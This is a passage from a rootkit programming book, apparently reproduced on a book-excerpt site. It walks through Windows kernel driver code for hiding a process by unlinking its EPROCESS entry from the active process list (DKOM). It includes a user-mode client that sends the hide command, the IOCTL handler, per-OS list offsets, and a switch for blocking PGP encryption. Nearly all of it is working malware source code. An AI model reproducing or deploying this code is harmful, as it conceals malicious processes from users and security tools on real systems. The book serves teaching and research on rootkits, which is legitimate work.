HideMe.c


The file HideMe.c retrieves its process ID from the operating system and sends it to our rootkit through the I/O mechanism first established in Chapter 5:

  // HideMe // Copyright Ric Vieler, 2006 // Send a hide command to MyDeviceDriver // and wait for operator to stop the process #include <windows.h> #include <stdio.h> #include <conio.h> #include "IoManager.h" void main(int argc, char *argv[]) {  HANDLE deviceHandle;  GHOST_IOCTLDATA control = { 0 };  ULONG status = 0;  deviceHandle = CreateFile( GHOST_DEVICE_OPEN_NAME,   GENERIC_READ | GENERIC_WRITE,   0,   NULL,   OPEN_EXISTING,   FILE_ATTRIBUTE_NORMAL,   NULL);  if( deviceHandle == INVALID_HANDLE_VALUE )  {   printf ("Could not find MyDeviceDriver.\n");  }  else  {   control.processId = GetCurrentProcessId();   if( DeviceIoControl(deviceHandle,    GHOST_HIDE_COMMAND,    &control,    sizeof(control), // input    (PVOID)&control,    sizeof(control), // output    &status,    NULL ) )    printf ("MyDeviceDriver hiding this process (0x%x).\n",     control.processId );   else    printf ("DeviceIoControl failed.\n");   CloseHandle(deviceHandle);  }  printf ("Press any key to terminate this process..." );  getch();  printf ("\n" ); } 

Here are the additions to IoManager.h:

  typedef struct {  int command;  DWORD processId; } GHOST_IOCTLDATA; #define GHOST_HIDE_COMMAND CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) 

The DWORD, processId, was added to the GHOST_IOCTLDATA structure, and the command GHOST_HIDE_ COMMAND was added to the command list. This allows external applications to include IoManager.h for the purpose of process hiding.

Here are the additions to IoManager.c:

  extern DWORD listOffset; // used by GHOST_HIDE_COMMAND DWORD findProcess ( DWORD targetProcessId ) {  int loop = 0;  DWORD eProcess;  DWORD firstProcess;  DWORD nextProcess;  PLIST_ENTRY processList;  if ( targetProcessId == 0 )   return 0;  // Get the process list  eProcess = (DWORD)PsGetCurrentProcess();  // Traverse the process list  firstProcess = *((DWORD*)(eProcess + (listOffset - 4)));  nextProcess = firstProcess;  for(;;)  {   if(targetProcessId == nextProcess)   {    // found the process    break;   }   else if( loop && (nextProcess == firstProcess) )   {    // circled without finding the process    eProcess = 0;    break;   }   else   {    // get the next process    processList = (LIST_ENTRY*)(eProcess + listOffset);    if( processList->Flink == 0 )    {     DbgPrint ("comint32: findProcess no Flink!");     break;    }    eProcess = (DWORD)processList->Flink;    eProcess = eProcess - listOffset;    nextProcess = *((DWORD*)(eProcess + (listOffset - 4)));   }   loop++;  }  return eProcess; } // Process commands from external applications NTSTATUS  OnDeviceControl( PFILE_OBJECT FileObject, BOOLEAN Wait,  PVOID InputBuffer, ULONG InputBufferLength,  PVOID OutputBuffer, ULONG OutputBufferLength,  ULONG IoControlCode, PIO_STATUS_BLOCK IoStatus,  PDEVICE_OBJECT DeviceObject ) {  GHOST_IOCTLDATA* pControlData;  DWORD eProcess;  PLIST_ENTRY processList;  IoStatus->Status      = STATUS_SUCCESS;  IoStatus->Information = 0;  switch ( IoControlCode )  {   case GHOST_ON_OFF_COMMAND:    if(InputBufferLength >= sizeof(GHOST_IOCTLDATA))    {     pControlData = (GHOST_IOCTLDATA*)InputBuffer;    if(pControlData->command == GHOST_ON)      {      // block PGP encryption      allowEncryption = FALSE;      DbgPrint ("comint32: blocking encryption");     }     else     {      // allow PGP encryption      allowEncryption = TRUE;      DbgPrint ("comint32: allowing encryption");     }    }    return IoStatus->Status;   case GHOST_STATUS_COMMAND:    if(OutputBufferLength >= sizeof(GHOST_IOCTLDATA))    {     pControlData = (GHOST_IOCTLDATA*)OutputBuffer;     if(allowEncryption == TRUE)      pControlData->command = GHOST_OFF;     else      pControlData->command = GHOST_ON;    }    IoStatus->Information = sizeof(GHOST_IOCTLDATA);    return IoStatus->Status;   case GHOST_HIDE_COMMAND:    if ( InputBufferLength >= sizeof(GHOST_IOCTLDATA) )    {     pControlData = (GHOST_IOCTLDATA*)InputBuffer;     eProcess = findProcess( pControlData->processId );     if( eProcess != 0 )     {      // Hide the process      processList = (LIST_ENTRY *)(eProcess + listOffset );      if( processList && processList->Flink && processList->Blink)      {       *((DWORD *)processList->Blink) = (DWORD) processList->Flink;       *((DWORD *)processList->Flink + 1) = (DWORD) processList->Blink;       processList->Flink = (LIST_ENTRY *)&(processList->Flink);       processList->Blink = (LIST_ENTRY *)&(processList->Flink);      }      else      {       DbgPrint("comint32: Error finding process 0x%x",        pControlData->processId);      }     }     else     {      DbgPrint("comint32: Could not find process 0x%x",       pControlData->processId);     }    }    return IoStatus->Status;   default:    IoStatus->Information = 0;    IoStatus->Status = STATUS_NOT_SUPPORTED;    return IoStatus->Status;  }  return STATUS_SUCCESS; } 

The function findProcess accepts a process ID and returns the process entry for that process from the process link list.

The function OnDeviceControl was modified to include GHOST_HIDE_COMMAND. The hide command is accompanied by a process ID, passed in the GHOST_IOCTLDATA structure. After retrieving the process entry for the process ID using findProcess, the hide command removes the process entry from the process link list. Like the device driver link list, this specific process link list is not used to allocate processing time to the individual processes, so processes can be removed from the list without the possibility of stalling. Unlike the device driver link list, there’s a possibility that the process entry will be referenced after it’s removed from the link list, so the link pointers in the removed list entry are pointed to themselves to prevent a possible system crash.

Both findProcess and GHOST_HIDE_COMMAND rely upon listOffset, a new global variable not yet discussed. This global variable is operating system dependant. It represents the distance from the pointer returned by PsGetCurrentProcess to that process’ link list entry. Because this value depends upon the operating system, it can be easily set from the DriverEntry function, where the major and minor operating system values are parsed. As such, Ghost.c was modified as shown next.

The global variable listOffset was added to the top of Ghost.c as follows:

  // Process list offset DWORD listOffset; 

and set in DriverEntry of Ghost.c:

  if ( majorVersion == 5 && minorVersion == 2 )  {   listOffset = 152;   DbgPrint("comint32: Running on Windows 2003");  }  else if ( majorVersion == 5 && minorVersion == 1 )  {   listOffset = 136;   DbgPrint("comint32: Running on Windows XP");  }  else if ( majorVersion == 5 && minorVersion == 0 )  {   listOffset = 160;   DbgPrint("comint32: Running on Windows 2000");  }  else if ( majorVersion == 4 && minorVersion == 0 )  {   listOffset = 152;   DbgPrint("comint32: Running on Windows NT 4.0");  }  else  {   listOffset = 0;   DbgPrint("comint32: Running on unknown system");  } 




Professional Rootkits
Professional Rootkits (Programmer to Programmer)
ISBN: 0470101547
EAN: 2147483647
Year: 2007
Pages: 229
Authors: Ric Vieler

Similar book on Amazon
Rootkits: Subverting the Windows Kernel
Rootkits: Subverting the Windows Kernel
A Guide to Kernel Exploitation: Attacking the Core
A Guide to Kernel Exploitation: Attacking the Core
Reversing: Secrets of Reverse Engineering
Reversing: Secrets of Reverse Engineering
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net